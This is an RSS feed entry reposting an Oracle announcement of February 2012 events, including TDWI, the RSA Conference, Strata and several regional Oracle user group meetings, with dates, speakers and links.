   
   
   
   
   
  

 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
 


 /* Style Definitions */
 table.MsoNormalTable
	{mso-style-name:&quot;Table Normal&quot;;
	mso-tstyle-rowband-size:0;
	mso-tstyle-colband-size:0;
	mso-style-noshow:yes;
	mso-style-priority:99;
	mso-style-qformat:yes;
	mso-style-parent:&quot;&quot;;
	mso-padding-alt:0in 5.4pt 0in 5.4pt;
	mso-para-margin:0in;
	mso-para-margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:11.0pt;
	font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
	mso-ascii-font-family:Calibri;
	mso-ascii-theme-font:minor-latin;
	mso-fareast-font-family:&quot;Times New Roman&quot;;
	mso-fareast-theme-font:minor-fareast;
	mso-hansi-font-family:Calibri;
	mso-hansi-theme-font:minor-latin;
	mso-bidi-font-family:&quot;Times New Roman&quot;;
	mso-bidi-theme-font:minor-bidi;}

 
  &lt;p class=&quot;MsoNormal&quot;&gt;Join Oracle at your local IOUG event this Feb, there are
many of them. Also, we’ll be participating in Data Warehousing, Database
Security and Big Data events, read on to find out more. &lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 12-17, 2012 – Las
Vegas, NV&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;TDWI World Conference Series&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;Join Oracle and learn how Oracle’s solution for Data
Integration and Big Data continues to set the standard for information
integration architectures. &lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt; &lt;i&gt;Bridging the Big Data Divide with Oracle Data Integration&lt;/i&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;Wednesday, February 15, 2012 7p.m&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;i&gt;Denis Gray, Principal
Product Manager, Data Integration&lt;/i&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;i&gt;&amp;nbsp;Nick Wagner,
Distinguished Product Manager, Data Integration&lt;/i&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;http://events.tdwi.org/events/las-vegas-world-conference-2012/home.aspx&quot;&gt;http://events.tdwi.org/events/las-vegas-world-conference-2012/home.aspx&lt;/a&gt;&lt;/p&gt; 
  &lt;p&gt;&lt;b&gt;Feb 25-26, 2012 - San Francisco, CA&lt;/b&gt;&lt;/p&gt; 
  &lt;p&gt;&lt;i&gt;&lt;b&gt;ISSA CISO Executive Forum&lt;/b&gt;&lt;/i&gt;&lt;/p&gt; 
  &lt;p&gt;&amp;nbsp;Join Mary Ann Davidson, Chief Security Officer at Oracle, and many more industry thought leaders to explore how to maintain best of breed security for the 
distributed IT enterprise as perimeter controls and borders dissolve.&lt;b&gt;&lt;/b&gt; &lt;/p&gt; 
  &lt;p&gt;https://www.issa.org/ciso/?p=435#2&lt;br /&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 27-Mar 2, 2012 – San Francisco, CA&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;RSA Conference&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;RSA Conference 2012 attendees will
have the opportunity to meet with Oracle Security Solution experts, see live
product demos, and more by visiting the Oracle Security Solution Showcase
(Booth #2425). Exhibit show floor hours: February 27th, 6:00 p.m. – 8:00 p.m.,
February 28th, 11:00 a.m. – 6:00 p.m., February 29th, 11:00 a.m. – 6:00 p.m.
and March 1, 11:00 a.m. – 3:00 p.m.&lt;br /&gt; &lt;br /&gt; &lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;http://www.oracle.com/webapps/events/ns/EventsDetail.jsp?p_eventId=139125&amp;amp;src=7259262&amp;amp;src=7259262&amp;amp;Act=10&quot;&gt;http://www.oracle.com/webapps/events/ns/EventsDetail.jsp?p_eventId=139125&amp;amp;src=7259262&amp;amp;src=7259262&amp;amp;Act=10&lt;/a&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 28-Mar 1, 2012-
Santa Clara, CA&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;Strata Conference - Making Data Work&amp;nbsp;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Strata
Conference&lt;/b&gt; is the leading event for the people and technology
driving the data revolution. The home of data science, Strata brings together
practitioners, researchers, IT leaders and entrepreneurs to discuss big data,
Hadoop, analytics, visualization and data markets.&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;http://strataconf.com/strata2012&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;Independent
Oracle User Group (IOUG) Regional Events:&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 14-16, 2012 –
Denver, CO&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;RMOUG (Rocky Mountain OUG) Training Days&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;RMOUG Training days is one of the largest regional user
group conferences in the USA. This is the place to network with local
information technology professionals as well as talk to internationally
renowned Oracle experts. This year’s
schedule includes topics on Oracle Database 11g features, Public Cloud, Oracle
Database Appliance, Exadata and Database Security, just to name a few. Visit website for more info.&amp;nbsp; &lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;http://www.rmoug.org/&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 14-15, 2012 –
Portland, OR and Seattle, WA&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;Oregon and Southern Washington Oracle Users Group Meeting.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;Topics will include Grid Control 12c, Understanding Big Data
and Hadoop and Exadata.&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;http://www.oswoug.org/OSWOUG/Home.html&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;Feb 23, 2012 –Redwood
Shores, CA&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;b&gt;&lt;i&gt;NOCOUG (Northern California OUG) Winter Conference&lt;/i&gt;&lt;/b&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;Located at Oracle Headquarters, the Winter Conference will
feature 3 tracks, with a keynote on Big Data from VP of Product Management –Mark
Townsend. Topics will include Accelerating Oracle Performance, Oracle Database
Security, Best Practices for upgrading Oracle Database 11g, and more. &lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt;&lt;a href=&quot;http://www.nocoug.org/index.html&quot;&gt;http://www.nocoug.org/index.html&lt;/a&gt;&lt;/p&gt; 
  &lt;p class=&quot;MsoNormal&quot;&gt; &lt;/p&gt;</description>
 <pubDate>Thu, 02 Feb 2012 01:11:54 +0100</pubDate>
 <dc:creator>kurtvm</dc:creator>
 <guid isPermaLink="false">18187 at http://www.ora600.be</guid>
</item>
</channel>
</rss>

